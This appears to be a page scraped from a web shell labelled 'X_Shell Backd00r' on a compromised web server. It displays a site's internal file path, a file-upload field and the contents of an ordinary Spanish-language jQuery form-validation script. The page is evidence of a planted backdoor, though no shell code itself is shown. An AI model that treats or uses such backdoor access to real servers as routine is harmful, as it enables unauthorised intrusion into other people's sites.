[#] hm X_Shell Backd00r [#]

Current Path : /var/www/clients/client35/web46/web/buen-fin/js/
Upload File :
Current File : /var/www/clients/client35/web46/web/buen-fin/js/script-validate.js

//alert('entro al validate');

validarForm = function(){

	var datos 		= [];
	var error 		= [];
	var password 	= [];

	this.limpiar = function(valor){
	 var valor = valor.replace(/^\s+/,'').replace(/\s+$/,'');
	 return valor;
	}

	this.setValor = function(valor,tag,type,name){	//Recupera los valores de las funciones a validar
		
		$(tag).removeAttr('style');
		datos['valor'] 	= this.limpiar(valor);
		datos['tag'] 	= tag;
		datos['type'] 	= type;
		datos['name']   = name;
		
		return this;
	}
	
	this.evaluar = function(){

		switch(datos['type']){
			case 'text':
					var string = /^([A-Za-zÑñáéíóúÁÉÍÓÚáóéíú ]+)$/;
					if(!string.test(datos['valor']) || datos['valor'] == ''){
						error.push(datos['tag'],datos['name']); 
						
					}
				break;
		    case 'direccion':
					var string = /^([A-Za-zÑñáéíóúÁÉÍÓÚáóéíú0-9 ]+)$/;
					if(!string.test(datos['valor']) || datos['valor'] == ''){
						error.push(datos['tag'],datos['name']); 
						
					}
				break;
			case 'mensaje':
					var string = /^([A-Za-zÑñáéíóúÁÉÍÓÚáóéíú ]+){10}$/;
					if(!string.test(datos['valor']) || datos['valor'] == ''){
						error.push(datos['tag'],datos['name']); 
					}
				break;

			case 'email':
					var emailReg = /^([\da-z_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/;
					if( !emailReg.test( datos['valor']) || datos['valor'] == '' ) {

						error.push(datos['tag'],datos['name']); 
					}
				break;
		   case 'date':
					var date = /^\d{1,2}\/\d{1,2}\/\d{2,4}$/;
					if( !date.test( datos['valor']) || datos['valor'] == '' ) {

						error.push(datos['tag'],datos['name']); 
					}
				break;
			case 'datehour':
					var date = /^\d{2,4}\/\d{1,2}\/\d{1,2}\s[0-2][0-9]:[0-5][0-9]$/;
					//console.log('---->'+datos['valor']);
					if( !date.test( datos['valor']) || datos['valor'] == '' ) {

						error.push(datos['tag'],datos['name']); 
					}
			    break;

			case 'password':
					if(datos['valor'].length <= 8){
						error.push(datos['tag']);
					}
					password.push(datos['valor']);
				break;

			case 'cpassword':
					if(datos['valor'] != password[0]){
						error.push(datos['tag']);
					}
				break;

			case 'num':
					var exp =  /^([0-9])*$/;
					
					if(!exp.test(datos['valor']) || datos['valor'] == ''){
						error.push(datos['tag'],datos['name']); 
					}
				break;
			case 'tiporadio':
					if(datos['valor'] == '' || datos['valor'].length <= 0){
						error.push(datos['tag'],datos['name']);
					}
				break;

		}
		return this;
	}

     this.getSuccess = function (){

       if (error.length >= 1 ) {return false}else{return true
         
       }
     }

	this.getErrors = function(){ 
		
		$(error[0]).focus();
		$('#alert').html(error[1]+' obligatorio');
		$.each(error, function(index, val) {
			$(error[index]).css('border','1px solid #BE1D2C');
		});
		return error.length;
	}
}

Mr.hm X_Shell Backd00r 1.0, Coded By Mr.hm X_Shell Backd00r